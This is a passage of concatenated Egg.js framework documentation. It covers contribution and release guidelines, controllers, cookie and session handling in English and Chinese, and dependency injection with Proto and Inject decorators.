Feel free to add more content in the body, if you think subject is not self-explanatory enough, such as what it is the purpose or reasone of you commit.

（5）footer

* **If the commit is a Breaking Change, please note it clearly in this part.**
* related issues, like `Closes #1, Closes #2, #3`
* If there is a change about an old feaure or a new feature, please associate `doc` and `egg-core`, like `eggjs/egg-core#123`

e.g.

```
fix($compile): [BREAKING_CHANGE] couple of unit tests for IE9

Older IEs serialize html uppercased, but IE9 does not...
Would be better to expect case insensitive, unfortunately jasmine does
not allow to user regexps for throw expectations.

Document change on eggjs/egg#123

Closes #392

BREAKING CHANGE:

  Breaks foo.bar api, foo.baz should be used instead
```

Look at [these files](https://docs.google.com/document/d/1QrDFcIiPjSLDn3EL15IJygNPiHORgU1_OOAqWjiDU5Y/edit) for more details.

### Principles of English Translations

We follow the normal principles of English articles when translating, however, due to there're some special principles of titles, we should follow these rules:

* For nouns, verbs, pronouns, adjectives and adverbs, capitalize the first character. For prepsitions, articles, conjections, interjections and auxiliary words, the first character should be in lowercase. **the character of the first word and the last word for title should be capitalized, regardless of what it is**.
* For proper nouns such as the direct reference of a variable or the name of a plugin, we must use backtick (underneath the 'Esc') to surround them and keep what they are in origin.
* For prepsitions more than 5 characters, their first characters should be also capitalized, otherwise not.
* For some very important titles or some fixed proper nouns such as methods of Http: POST,GET,PUT,DELETE, every charater can be capitalized (USE WITH CAUTION).
* If the article belongs to the form of O-V (Object-Verb) such as "Config Management", we'd better translate it as "Management Configuration", or "Managing Configuration" in the form of "gerund+noun".
* If your title is taken as a sentence, write in 'Sentence Case' (e.g: In FAQ, each title is actually an English sentence).

For more info, please refer [English Title Case].

## Release Management

Egg uses semantic versioning in release process based on [semver].

### Branch Strategy

`master` branch is the latest stable version. `next` branch is the next stable version working in progress.

* All new features will be added into `master` or `next` branch as well as all bug-fix except security issues. In such way, we can motivate developers to update to the latest stable version.
* If any API is discarded, it should be noted with `deprecate` in current stable version. The old version of API should be compatiable until the release of next stable version.
* `master` branch doesn't have publish tag. High-level framework can work with stable versions defined by semantic versioning.
* `next` branch is labelled with `next` tag, high-level framework can use `egg@next` to test the in-progress version.
* The LTS versions of Egg determined by Milestone. If a version is listed in Milestone, then it is a LTS version. We will patch it if there is any problem with it.

### Release Strategy

In the release of every stable version, there will be a PM who has the following responsibilities in different stages of the release.

#### Preparation

* Set up milestone. Confirm that request is related to milestone. Assign and update issues, like [1.x milestone].
* Create a `next` branch from `master` branch and tag it as `next`.

#### Before Release

* Confirm that performance test is passed and all issues in current Milestone are either closed or can be delayed to later versions.
* Open a new [Release Proposal MR], and write `History` as [node CHANGELOG]. Don't forget to correct content in documentation which is related to the releasing version. Commits can be generated automatically.
  ```bash
  $ npm run commits
  ```
* Nominate PM for next stable version.

#### During Release

* Back up the stable version (master) onto the branch named after the current major (e.g: `1.x`), and set the tag to `release-{v}.x` (v is the current version like `release-1.x`).
* Push the `next` branch to `master`, make it to the last stable one and remove `next` tag, change the contents corresponding to the branch in README.
* Publish the latest stable version to [npm], and notify the previous framework to be upgraded.
* Before doing `npm publish`, please read [How to deploy an npm package].

All tags mentioned above means the tags of npm in `package.json`.

```json
"publishConfig": {
  "tag": "next"
}
```

[semver]: https://semver.org/

[release proposal mr]: https://github.com/nodejs/node/pull/4181

[node changelog]: https://github.com/nodejs/node/blob/master/CHANGELOG.md

[1.x milestone]: https://github.com/eggjs/egg/milestone/1

[npm]: http://npmjs.com/

[how to deploy an npm package]: https://fengmk2.com/blog/2016/how-i-publish-a-npm-package

[english title case]: https://headlinecapitalization.com/

---

---
url: /basics/controller.md
---
# Controller

## Use Cases

Typically, web applications adopt the `MVC` architecture, where `C` stands for Controller, which is responsible for parsing user input, processing it, and returning the corresponding result.

In simple terms, when you need to add an interface that provides services such as HTTP to the application, use the corresponding Controller decorator to define and implement it.

After implementing an HTTPController, clients can request the server's controller via HTTP protocol. After the controller completes processing, it responds to the client. This is the most basic "request-response" flow.

## Best Practices

Generally speaking, Controllers should not contain too much business logic and should only handle protocol-related processing.

* Get request parameters passed by the client, such as using decorators like HTTPHeader or HTTPBody in HTTPController to obtain request parameters.
* Validate and assemble request parameters to ensure that parameters processed in subsequent business logic meet expectations.
* Call Service for business processing.
* Transform the results returned by Service, such as rendering to HTML.
* Based on the communication protocol, assemble response data and return it to the client.

## Supported Types

Egg provides different Controller decorators for implementing different types of interfaces, which can be selected based on requirements.

| Controller Decorator                                 | Description                                             |
| ---------------------------------------------------- | ------------------------------------------------------- |
| [@HTTPController / @HTTPMethod](./httpcontroller.md) | Used to implement HTTP interfaces                       |
| [@MCPController](./mcpcontroller.md)                 | Used to implement MCP Server                            |
| [@Schedule](./schedule.md)                           | Used for **standard apps** to implement scheduled tasks |

---

---
url: /zh-CN/basics/controller.md
---
# Controller

## 使用场景

通常 Web 应用会采用 `MVC` 架构，其中 `C` 即为控制器 (Controller)，负责解析用户的输入，处理后返回相应的结果。
通俗来说，当需要在应用中增加一个对外提供服务的 HTTP 等类型的接口时，使用对应的 Controller 装饰器进行定义和实现。

应用实现 HTTPController 后，客户端可通过 HTTP 协议请求服务端的控制器，控制器处理结束后响应客户端，这是一个最基础的 ”请求 - 响应“ 流程。

## 最佳实践

一般而言，Controller 不应该包含太多的业务逻辑，仅进行和协议相关的处理逻辑。

* 获取客户端传递的请求参数，例如在 HTTPController 中通过 HTTPHeader 或 HTTPBody 等等装饰器获取请求参数。
* 对请求参数进行校验和组装，确保后续业务逻辑中处理的参数符合预期。
* 调用 Service 进行业务处理。
* 对 Service 返回的结果进行转换，例如渲染为 HTML。
* 基于通信协议，组装响应数据，返回给客户端。

## 支持的类型

egg 提供了不同的 Controller 装饰器，用于实现不同类型的接口，可依据需求场景进行选择。

| Controller 装饰器                                    | 说明                             |
| ---------------------------------------------------- | -------------------------------- |
| [@HTTPController / @HTTPMethod](./httpcontroller.md) | 用于实现 HTTP 接口               |
| [@MCPController](./mcpcontroller.md)                 | 用于实现 MCP Server              |
| [@Schedule](./schedule.md)                           | 用于**标准应用**实现定时任务接口 |

---

---
url: /core/cookie-and-session.md
---

## Cookie

HTTP is a stateless protocol.
But web applications often need to identify the sender of requests.
To solve this problem, HTTP protocol defines a header [Cookie](https://en.wikipedia.org/wiki/HTTP_cookie).
Web servers can use response header `Set-Cookie` to send small data to clients.
Clients (e.g. web browsers) store the data according to protocol,
and attach the cookie data in future requests.
For security reason, browsers only attach cookies in the requests that are sent to the same domain.
Web servers can use `Domain` and `Path` attributes to define the scope of the cookie.

By using `ctx.cookies`, we can easily and safely read/set cookies in controller.

```js
class HomeController extends Controller {
  async add() {
    const ctx = this.ctx;
    let count = ctx.cookies.get('count');
    count = count ? Number(count) : 0;
    ctx.cookies.set('count', ++count);
    ctx.body = count;
  }
  async remove() {
    const ctx = this.ctx;
    ctx.cookies.set('count', null);
    ctx.status = 204;
  }
}
```

#### `ctx.cookies.set(key, value, options)`

Modifying Cookie is done by setting `Set-Cookie` header in HTTP responses.
Each `Set-Cookie` creates a key-value pair in client.
Besides of setting the value of Cookie,
HTTP protocol supports more attributes to control the transfer, storage and permission of Cookie.

* `{Number} maxAge`: set the lifetime of the cookie in milliseconds. It's the milliseconds since server's "Now". Client discards a cookie after specified lifetime.
* `{Date} expires`: set the expiration time of the cookie. If `maxAge` is defined, `expires` will be ignored. If neither is defined, Cookie will expire when client session expires, usually it's the time client closed.
* `{String} path`: set the path of the cookie. By default it's on root path (`/`), which means all URL under the current domain have access to the cookie.
* `{String} domain`: set the domain of the cookie. By default, it's not defined. If defined, only specified domain have access to the cookie.
* `{Boolean} httpOnly`: set whether the cookie can be accessed by Javascript. By default it's `true`, which means Javascript cannot access the cookie.
* `{Boolean} secure`: set whether the cookie can only be accessed under HTTPS. See [explanation](http://stackoverflow.com/questions/13729749/how-does-cookie-secure-flag-work) for details. Egg.js auto sets this value to true if the current request is sent over HTTPS.

In addition to these standard Cookie attributes, egg.js supports 3 more parameters:

* `{Boolean} overwrite`: set the way of handling same Cookie key. If true, earlier called values will be overwritten by the last call; otherwise HTTP response will contain multiple `Set-Cookie` headers with the same key.
* `{Boolean} signed`: set whether the cookie should be signed. If true, the value of the cookie will be signed. So that when the value is being read, server verifies the signature to prevent cookie values modified by client. By default it's true.
* `{Boolean} encrypt`: set whether the cookie should be encrypted. It true, the cookie value will be encrypted before sending to clients so user clients cannot get raw text of the cookie. By default it's false.

When using Cookie, we need to have a clear idea of the purpose of the cookie,
how long it needs to be stored in client, can it be accessed by JS, can it be modified by client.

**By default, Cookie is signed but not encrypted,
client can see raw content but cannot modify it (manually).**

* If you need to allow JS to access and modify Cookie:

```js
ctx.cookies.set(key, value, {
  httpOnly: false,
  signed: false,
});
```

* If you don't want to allow JS to access and modify Cookie:

```js
ctx.cookies.set(key, value, {
  httpOnly: true, // by default it's true
  encrypt: true, // cookies are encrypted during network transmission
});
```

Note:

1. Due to [the uncertainty of client's implementation](http://stackoverflow.com/questions/7567154/can-i-use-unicode-characters-in-http-headers), to ensure Cookie can be stored successfully, it's recommended to encode cookie value in base64 or other codec.
2. Due to [the limitation of Cookie length on client side](http://stackoverflow.com/questions/640938/what-is-the-maximum-size-of-a-web-browsers-cookies-key), do avoid using long Cookie. Generally speaking, no more than 4093 bytes. When Cookie value's length is greater than this value, egg.js prints a warning in log.

#### `ctx.cookies.get(key, options)`

As HTTP Cookie is sent over header,
we can use this method to easily retrieve the value of given key from Cookie.
If `options.signed` and `options.encrypt` has been configured to sign and encrypt Cookie,
the corresponding options also need to be used in `get` method.

* If `signed` is true when `set` Cookie but false when `get` Cookie, egg.js doesn't verify Cookie value, so the value could have been modified by client.
* If `encrypt` is true when `set` Cookie but false when `get` Cookie, what you get is encrypted text rather than the raw plain text.

If you want to get the cookie set by frontend or other system, you need to specify the parameter `signed` as `false`, avoid varify the cookie and not getting the vlaue.

```js
ctx.cookies.get('frontend-cookie', {
  signed: false,
});
```

### Cookie Secret Key

Since we need to sign and encrypt Cookie, a secret key is required.
In `config/config.default.js`:

```js
module.exports = {
  keys: 'key1,key2',
};
```

`keys` is defined as a string, several keys separated by commas.
When egg.js processes Cookie:

* the first key is used in encryption and signature generation.
* to decrypt or verify signature, egg.js iterates through all keys.

If you need to update Cookie secret key and don't want to invalidate existing clients' Cookie,
you can add new secret key at the front of `keys`.
After some time, when existing Cookie has expired, delete the old secret keys.

## Session

In web applications, Cookie is usually used to identify users.
So the concept of Session, which is built on top of Cookie,
was created to specifically handle user identification.

Egg.js built-in supports Session through [@eggjs/session](https://github.com/eggjs/session) plugin.
We can use `ctx.session` to read or modify current user session.

```js
class HomeController extends Controller {
  async fetchPosts() {
    const ctx = this.ctx;
    // get content from session
    const userId = ctx.session.userId;
    const posts = await ctx.service.post.fetch(userId);
    // modify session value
    ctx.session.visited = ctx.session.visited ? ctx.session.visited + 1 : 1;
    ctx.body = {
      success: true,
      posts,
    };
  }
}
```

It is very intuitive to use Session, simply get or set.
To delete a session, set its value to null:

```js
exports.deleteSession = function* (ctx) {
  ctx.session = null;
};
```

What you need to pay special attention to is that you need to avoid the following situations when setting session properties (which can cause field loss, See for details [koa-session source code](https://github.com/koajs/session/blob/master/lib/session.js#L37-L47)):

* Don't start with `_`
* Don't use `isNew`

```js
// ❌ Wrong way
ctx.session._visited = 1; //   --> property will lost
ctx.session.isNew = 'HeHe'; //   --> session keyword, should not write it

// ✔️ Right way
ctx.session.visited = 1; //   -->  Everything is all right
```

Session is built on top of Cookie.
By default, the content of Session is stored in a Cookie field as encrypted string.
Every time a client sends requests to server, the cookie is attached in requests.
Egg.js passes decrypted cookie to server code.
The default configuration of Session is:

```js
exports.session = {
  key: 'EGG_SESS',
  maxAge: 24 * 3600 * 1000, // 1 day
  httpOnly: true,
  encrypt: true,
};
```

The attributes except of `key` are all standard Cookie attributes.
`key` is the key of the cookie that stores session content.
With default config, the session cookie is encrypted, not accessible to JS,
which ensures user cannot access or modify it.

### Store Session in Other Storage

Session is stored in Cookie by default.
If a session is too big, there are some troubles.

* as mentioned above, clients usually have limitation on Cookie length. When session is too big, a client may refuse to store it.
* Cookie is attached in every request. If session is too big, the additional cost of sending session may be significant.

Egg.js supports to store Session in other places.
To config it, you can simply set `app.sessionStore`.

```js
// app.js
module.exports = (app) => {
  app.sessionStore = {
    // support promise / async
    async get(key) {
      // return value;
    },
    async set(key, value, maxAge) {
      // set key to store
    },
    async destroy(key) {
      // destroy key
    },
  };
};
```

The implementation of `sessionStore` can also be encapsulated into a plugin.
For example, [@eggjs/session-redis] stores Session in Redis.
To apply it, import [@eggjs/redis] and [@eggjs/session-redis] plugin in your application.

```js
// plugin.js
exports.redis = {
  enable: true,
  package: '@eggjs/redis',
};
exports.sessionRedis = {
  enable: true,
  package: '@eggjs/session-redis',
};
```

**Note: once you choose to store Session in external storage,
it means your system heavily depends on the external storage.
Once it's down, Session feature won't work.
So it's recommended to put only necessary information in Session,
keep Session minimum and use the default Cookie storage if possible.
Do not put per-user's data cache in Session.**

### Session Practice

#### Set Session's Expiration Time

Session config has a attribute `maxAge`, which controls global expiration time of all sessions of the application.

We often can see a **Remember Me** option on a lot of websites' login page.
If it's selected, Session of this logged in user can live longer.
This kind of per-user session expiration time can be set through `ctx.session.maxAge`:

```js
const ms = require('ms');
class UserController extends Controller {
  async login() {
    const ctx = this.ctx;
    const { username, password, rememberMe } = ctx.request.body;
    const user = await ctx.loginAndGetUser(username, password);

    // set Session
    ctx.session.user = user;
    // if user selected `Remember Me`, set expiration time to 30 days
    if (rememberMe) ctx.session.maxAge = ms('30d');
  }
}
```

#### Extend Session's Expiration Time

By default, if user requests don't result in modification of Session,
egg.js doesn't extend expiration time of the session.
But in some scenarios, we hope that if users visit our site for a long time, then extend their session validity and not let the user exit the login state. The framework provides a `renew` configuration item to implement this feature. It will reset the session's validity period when it finds that the user's session is half the maximum validity period.

```js
// config/config.default.js
module.exports = {
  session: {
    renew: true,
  },
};
```

[@eggjs/redis]: https://github.com/eggjs/redis

[@eggjs/session-redis]: https://github.com/eggjs/session-redis

---

---
url: /zh-CN/core/cookie-and-session.md
---
# Cookie 与 Session

## Cookie

HTTP 请求都是无状态的，但是我们的 Web 应用通常都需要知道发起请求的人是谁。为了解决这个问题，HTTP 协议设计了一个特殊的请求头：[Cookie](https://en.wikipedia.org/wiki/HTTP_cookie)。服务端可以通过响应头（set-cookie）将少量数据响应给客户端，浏览器会遵循协议将数据保存，并在下次请求同一个服务的时候带上（浏览器也会遵循协议，只在访问符合 Cookie 指定规则的网站时带上对应的 Cookie 来保证安全性）。

通过 `ctx.cookies`，我们可以在 controller 中便捷、安全地设置和读取 Cookie。

```js
class HomeController extends Controller {
  async add() {
    const ctx = this.ctx;
    let count = ctx.cookies.get('count');
    count = count ? Number(count) : 0;
    ctx.cookies.set('count', ++count);
    ctx.body = count;
  }
  async remove() {
    const ctx = this.ctx;
    ctx.cookies.set('count', null);
    ctx.status = 204;
  }
}
```

#### `ctx.cookies.set(key, value, options)`

设置 Cookie 其实是通过在 HTTP 响应中设置 `set-cookie` 头完成的，每一个 `set-cookie` 都会让浏览器在 Cookie 中存一个键值对。在设置 Cookie 值的同时，协议还支持许多参数来配置这个 Cookie 的传输、存储和权限。

* `{Number} maxAge`：设置这个键值对在浏览器的最长保存时间。是一个从服务器当前时刻开始的毫秒数。
* `{Date} expires`：设置这个键值对的失效时间。如果设置了 `maxAge`，`expires` 将会被覆盖。如果 `maxAge` 和 `expires` 都没设置，Cookie 将会在浏览器的会话失效（一般是关闭浏览器时）的时候失效。
* `{String} path`：设置键值对生效的 URL 路径，默认设置在根路径上（`/`），也就是当前域名下的所有 URL 都可以访问这个 Cookie。
* `{String} domain`：设置键值对生效的域名，默认没有配置，可以配置成只在指定域名才能访问。
* `{Boolean} httpOnly`：设置键值对是否可以被 JS 访问，默认为 true，不允许被 JS 访问。
* `{Boolean} secure`：设置键值对只在 HTTPS 连接上传输，框架会帮我们判断当前是否在 HTTPS 连接上自动设置 `secure` 的值。
* `{Boolean} partitioned`：设置独立分区状态（简称 [CHIPS](https://developers.google.com/privacy-sandbox/3pcd/chips)）的 Cookie。注意，只有 `secure` 为 `true` 时此配置才会生效，并且目前仅 Chrome >=114 和 Firefox >= 131 [支持](https://developer.mozilla.org/en-US/docs/Web/Privacy/Privacy_sandbox/Partitioned_cookies#browser_compatibility)。
* `{Boolean} removeUnpartitioned`：是否删除非独立分区状态的同名 cookie。注意，只有 `partitioned` 为 `true` 时此配置才会生效。
* `{Boolean} priority`：设置 Cookie 的优先级，可选值为 `Low`、`Medium`、`High`，目前只有 [Chrome >= 81](https://bugs.chromium.org/p/chromium/issues/detail?id=232693) 实现，可以在 [DevTools 中查看](https://developer.chrome.com/blog/new-in-devtools-81?hl=zh-cn#cookiepriority)。请注意不要和 HTTP 的 [`Priority` header](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Priority) 混淆。

除了这些属性之外，框架另外扩展了三个参数的支持：

* `{Boolean} overwrite`：设置 key 相同的键值对如何处理。如果设置为 true，则后设置的值会覆盖前面设置的；否则将会发送两个 set-cookie 响应头。
* `{Boolean} signed`：设置是否对 Cookie 进行签名。如果设置为 true，则设置键值对的时候会同时对这个键值对的值进行签名，后面取的时候做校验，可以防止前端对这个值进行篡改。默认为 true。
* `{Boolean} encrypt`：设置是否对 Cookie 进行加密。如果设置为 true，则在发送 Cookie 前会对这个键值对的值进行加密，客户端无法读取到 Cookie 的明文值。默认为 false。

在设置 Cookie 时我们需要思考清楚这个 Cookie 的作用，它需要被浏览器保存多久？是否可以被 js 获取到？是否可以被前端修改？

默认的配置下，Cookie 是加签不加密的，浏览器可以看到明文，js 不能访问，不能被客户端（手工）篡改。

* 如果想要 Cookie 在浏览器端可以被 js 访问并修改：

```js
ctx.cookies.set(key, value, {
  httpOnly: false,
  signed: false,
});
```

* 如果想要 Cookie 在浏览器端不能被修改，不能看到明文：

```js
ctx.cookies.set(key, value, {
  httpOnly: true, // 默认就是 true
  encrypt: true, // 加密传输
});
```

注意：

1. 由于[浏览器和其他客户端实现的不确定性](http://stackoverflow.com/questions/7567154/can-i-use-unicode-characters-in-http-headers)，为了保证 Cookie 可以写入成功，建议 value 通过 base64 编码或者其他形式 encode 之后再写入。
2. 由于[浏览器对 Cookie 有长度限制](http://stackoverflow.com/questions/640938/what-is-the-maximum-size-of-a-web-browsers-cookies-key)，所以尽量不要设置太长的 Cookie。一般来说不要超过 4093 bytes。当设置的 Cookie value 大于这个值时，框架会打印一条警告日志。

#### `ctx.cookies.get(key, options)`

由于 HTTP 请求中的 Cookie 是在一个 header 中传输过来的，通过框架提供的这个方法可以快速地从整段 Cookie 中获取对应的键值对的值。上面在设置 Cookie 的时候，我们可以设置 `options.signed` 和 `options.encrypt` 来对 Cookie 进行签名或加密，因此对应的在获取 Cookie 的时候也要传递相匹配的选项。

* 如果设置的时候指定为 signed，获取时未指定，则不会在获取时对取到的值做验签，可能导致被客户端篡改。
* 如果设置的时候指定为 encrypt，获取时未指定，则无法获取到真实的值，而是加密过后的密文。

如果要获取前端或者其他系统设置的 cookie，需要指定参数 `signed` 为 `false`，避免验签导致获取不到 cookie 的值。

```js
ctx.cookies.get('frontend-cookie', {
  signed: false,
});
```

### Cookie 秘钥

由于我们在 Cookie 中需要用到加解密和验签，所以需要配置一个秘钥供加密使用。在 `config/config.default.js` 中：

```js
module.exports = {
  keys: 'key1,key2',
};
```

keys 配置成一个字符串，可以按照逗号分隔配置多个 key。Cookie 在使用这个配置进行加解密时：

* 加密和加签时只会使用第一个秘钥。
* 解密和验签时会遍历 keys 进行解密。

如果我们想要更新 Cookie 的秘钥，但是又不希望之前设置到用户浏览器上的 Cookie 失效，可以将新的秘钥配置到 keys 最前面，等过一段时间之后再删除不需要的秘钥即可。

## Session

Cookie 通常用作 Web 应用中标识请求方身份的功能，基于此，Web 应用封装了 Session 概念，专用于用户身份识别。

框架内置了 [Session](https://github.com/eggjs/session) 插件，提供了 `ctx.session` 用于访问或修改当前用户的 Session。

```js
class HomeController extends Controller {
  async fetchPosts() {
    const ctx = this.ctx;
    // 获取 Session 上的内容
    const userId = ctx.session.userId;
    const posts = await ctx.service.post.fetch(userId);
    // 修改 Session 的值
    ctx.session.visited = ctx.session.visited ? ctx.session.visited + 1 : 1;
    ctx.body = {
      success: true,
      posts,
    };
  }
}
```

Session 的使用方法非常直观，直接读取或修改即可。若需删除 Session，将其赋值为 null：

```js
ctx.session = null;
```

需要 **特别注意** 的是，设置 session 属性时要避免以下情况，否则可能导致字段丢失（详见 [koa-session](https://github.com/koajs/session/blob/master/lib/session.js#L37-L47) 源码）：

* 不以 `_` 开头
* 不使用 `isNew`

```js
// ❌ 错误的用法
ctx.session._visited = 1; // 该字段会在下一次请求时丢失
ctx.session.isNew = 'HeHe'; // 为内部关键字，不应更改

// ✔️ 正确的用法
ctx.session.visited = 1; // 无问题
```

Session 默认基于 Cookie 实现，内容加密后直接存储在 Cookie 的字段中。每次请求带上这个 Cookie，服务端解密后使用。默认配置如下：

```js
exports.session = {
  key: 'EGG_SESS',
  maxAge: 24 * 3600 * 1000, // 1 天
  httpOnly: true,
  encrypt: true,
};
```

上述参数除 `key` 外均为 Cookie 的参数，`key` 代表存储 Session 的 Cookie 键值对的 key。默认配置下，存放 Session 的 Cookie 将加密存储、前端 js 不可访问，保障用户 Session 安全。

### 扩展存储

Session 默认存放在 Cookie 中可能出现问题：浏览器有最大 Cookie 长度限制，过大的 Session 可能被拒绝保存，且每次请求Session 会增加额外传输负担。

框架允许将 Session 存储到 Cookie 之外的存储，只需设置 `app.sessionStore` 即可：

```js
// app.js
module.exports = (app) => {
  app.sessionStore = {
    async get(key) {
      // 返回值
    },
    async set(key, value, maxAge) {
      // 设置 key 到存储
    },
    async destroy(key) {
      // 销毁 key
    },
  };
};
```

例如，通过引入 [@eggjs/redis](https://github.com/eggjs/redis) 和 [@eggjs/session-redis](https://github.com/eggjs/session-redis) 插件，可以将 Session 存储到 redis 中。

```js
// plugin.js
exports.redis = {
  enable: true,
  package: '@eggjs/redis',
};
exports.sessionRedis = {
  enable: true,
  package: '@eggjs/session-redis',
};
```

**注意**：将 Session 存入外部存储意味着系统强依赖该存储。建议仅将必要信息存于 Session，并保持其精简使用默认的 Cookie 存储，不将用户级别的缓存存于 Session。

### Session 实践

#### 修改用户 Session 失效时间

Session 配置中的 `maxAge` 可全局设置有效期。**记住我** 功能中，可针对特定用户的 Session 设置不同有效时间，通过 `ctx.session.maxAge=` 实现：

```js
const ms = require('ms');
class UserController extends Controller {
  async login() {
    const ctx = this.ctx;
    const { username, password, rememberMe } = ctx.request.body;
    const user = await ctx.loginAndGetUser(username, password);

    // 设置 Session
    ctx.session.user = user;
    // 勾选 `记住我` 时，设置 30 天过期时间
    if (rememberMe) ctx.session.maxAge = ms('30d');
  }
}
```

#### 延长用户 Session 有效期

默认情况下，未修改 Session 的请求不延长有效期。某些场景下希望用户长期访问站点时延长 Session 有效期，`renew` 配置项可实现此功能，如 Session 剩余有效期少于半时，重置有效期：

```js
// config/config.default.js
exports.session = {
  renew: true,
};
```

---

---
url: /core.md
---

* [Local Development](./development.md)
* [Unit Testing](./unittest.md)
* [Mock Helpers (@eggjs/mock / mm)](./mock.md)
* [Deployment](./deployment.md)
* [Logger](./logger.md)
* [HttpClient](./httpclient.md)
* [Cookie and Session](./cookie-and-session.md)
* [Multi-Process Model and Inter-Process Communication](./cluster-and-ipc.md)
* [View Template Rendering](./view.md)
* [Exception Handling](./error-handling.md)
* [Security](./security.md)
* [I18n Internationalization](./i18n.md)

---

---
url: /basics/di.md
---
# Dependency Injection

## Proto

In domain-driven development, we generally place logic in Services. In Egg.js, this is implemented through `Proto`.

`Proto` provides configurable information:

* Instantiation method: instantiate per request / global singleton
* Access level: whether accessible outside the `Module`
* Instantiation name

## Instantiation Method

Includes two forms: `ContextProto` and `SingletonProto`. For specific details, please refer to the documentation below.

## Instantiation Name

This is crucial as it determines which instance should be injected with `@Inject`. By default, the first letter of the Proto class is converted to lowercase, e.g., `UserAdapter` becomes `userAdapter`.
If it doesn't meet expectations, you can manually specify it, for example:

```ts
// The instance name of MISTAdapter is mistAdapter
@SingletonProto({ name: 'mistAdapter' })
class MISTAdapter {}
```

## Access Level

All prototypes within a Module can be depended on (`@Inject`) by other prototypes in the same Module. Only prototypes with `accessLevel: AccessLevel.PUBLIC` can be accessed by other Modules. The default access level is `AccessLevel.PRIVATE`

```ts
root dir
└── app
    └── module
        ├── fooModule
        │   ├── Private.ts
        │   ├── Public.ts
        │   └── Access.ts  // Can Inject Private/Public
        └── barModule
            └── Access.ts  // Can only Inject Public
```

:::warning
Logic within a Module should be as cohesive as possible, exposing only necessary interfaces.
Once exposed, dependencies are created, and you must consider backward compatibility when changing interface code.
:::

## SingletonProto

### Definition

Similar to `ContextProto`, only one `SingletonProto` will be instantiated during the entire application lifecycle.

It's recommended to use `SingletonProto` by default, as it can improve application performance, and you can inject `ContextProto` objects within `SingletonProto`.

```ts
@SingletonProto({
  // The instantiation name of the prototype, optional
  name?: string;

  // Whether the object is accessible within the module or globally
  // Default value is AccessLevel.PRIVATE
  accessLevel?: AccessLevel;
})
```

### Example

```ts
// biz/HelloService.ts
import { SingletonProto } from 'egg';

@SingletonProto()
export class HelloService {
  async hello(): Promise<string> {
    return 'hello';
  }
}

@SingletonProto({
  name: 'worldInterface',
})
export class WorldService {
  async world(): Promise<string> {
    return 'world!';
  }
}
```

## ContextProto

### Definition

A `ContextProto` will be instantiated for each request.
:::info
Most `Service` classes are stateless and don't store request context. In such cases, it's recommended to use `SingletonProto` instead. This is because only one object needs to be initialized globally, rather than initializing an object for each request (which would degrade application performance).
For scenarios that need to store request context information and share it across multiple `Service` classes, you can use `ContextProto` to ensure objects obtained by different requests are isolated.
:::

```ts
enum AccessLevel {
  // Only accessible within module
  PRIVATE = 'PRIVATE',
  // Globally accessible
  PUBLIC = 'PUBLIC',
}

@ContextProto({
  // The instantiation name of the prototype, optional
  name?: string;

  // Whether the object is accessible within the module or globally
  // Default value is AccessLevel.PRIVATE
  accessLevel?: AccessLevel;
})
```

### Example

```ts
// service.ts
import { ContextProto } from 'egg';

@ContextProto()
export class HelloService {
  async hello(): Promise<string> {
    return 'hello';
  }
}

@ContextProto({
  name: 'worldInterface',
})
export class WorldService {
  async world(): Promise<string> {
    return 'world!';
  }
}
```

How to inject and use it:

```ts
import { Inject, ContextProto } from 'egg';
import { HelloService, WorldService } from './service.ts';

@ContextProto()
export class UseProtoDemo {
  @Inject()
  helloService: HelloService;

  @Inject()
  worldInterface: WorldService;

  async say(): Promise<string> {
    return this.helloService.hello() + ',' + this.worldInterface.world();
  }
}
```

## Inject

### Definition

Prototypes can depend on other prototypes or objects in Egg. Dependency injection is implemented through the `@Inject` decorator.

```ts
@Inject(param?: {
  // Name of the injected object, in some cases a prototype may have multiple instances
  // For example, egg's logger
  // Defaults to property name
  name?: string;
  // Name of the injected prototype
  // In some cases you don't want the injected prototype to use the same name as the property
  // Defaults to property name
  proto?: string;
})
```

### Example

```ts
import { Inject, SingletonProto, Logger } from 'egg';

@SingletonProto()
export class HelloService {
  @Inject()
  fooService: FooService; // Inject other prototype instances

  @Inject()
  logger: Logger; // Inject egg objects

  async hello(user: User): Promise<string> {
    this.logger.info(`[HelloService] hello ${this.fooService.hello()}`);
  }
}
```

### Usage Notes

There are several points to note when using Inject:

* Circular dependencies are not allowed between prototypes, e.g., Proto A - inject -> Proto B - inject-> Proto A
* Similarly, circular dependencies are not allowed between `Module`s
* A `Module` cannot have prototypes with the same instantiation method and name
* You cannot inject Egg's `ctx`/`app`, inject what you use

#### The Role of Inject name

It allows the injected instance name to be different from the prototype instantiation, which is useful when using aliases.

```ts
/*** Define prototypes ***/
@SingletonProto()
export class HelloService {
  async hello(): Promise<string> {
    return 'hello';
  }
}

@SingletonProto({
  name: 'worldInterface',
})
export class WorldService {
  async world(): Promise<string> {
    return 'world!';
  }
}

/*** Inject prototypes ***/
@SingletonProto()
class Foo {
  @Inject()
  helloService: HelloService;

  @Inject({ name: 'helloService' })
  aliasHelloService: HelloService; // Equivalent to helloService above

  @Inject({ name: 'worldInterface' })
  worldService: WorldService;
}
```

#### The Role of Inject Type

Injection depends on the proto name, not the type, so the following code still works:

```ts
import { Inject, SingletonProto } from 'egg';

@SingletonProto()
class Foo {
  @Inject()
  redis: any; // Type defined as any can still inject redis from Egg Context
}
```

The role of the type here is only for TypeScript type hints (e.g., setting it to `any` just means missing Redis SDK API hints).

### Egg Compatibility

Module automatically traverses the `Context`/`Application` objects to get all their properties. All properties can be seamlessly injected, as in the common examples below:

#### Inject Egg Configuration

```ts
import { Inject, SingletonProto, EggAppConfig } from 'egg';

@SingletonProto()
class Foo {
  @Inject()
  config: EggAppConfig;

  bar() {
    console.log('current env is %s', this.config.env);
  }
}
```

#### Inject logger

Optimized specifically for logger, you can directly inject custom loggers:

```ts
// config/config.default.ts
export default {
  customLogger: {
    fooLogger: {
      file: 'foo.log',
    },
  },
};
```

You can directly inject in the code:

```ts
import { Inject, SingletonProto, Logger } from 'egg';

@SingletonProto()
class FooService {
  // Inject ${appname}-web.log
  @Inject()
  logger: Logger;

  // Inject egg-web.log
  @Inject()
  coreLogger: Logger;

  // Inject customLogger named fooLogger
  @Inject()
  fooLogger: Logger;
}
```

#### Inject `Service`

:::warning
It is strongly recommended to re-encapsulate Egg Service code through `Proto` before injecting. For existing `Service` patterns, you can introduce them as follows:
:::

```ts
import { EggLogger, Service, Inject, SingletonProto } from 'egg';

@SingletonProto()
class FooService {
  // Inject the entire ctx.service, then get the corresponding xxxService
  @Inject()
  service: Service;

  get xxxService() {
    return this.service.xxxService;
  }
}
```

#### Inject `HttpClient`

```ts
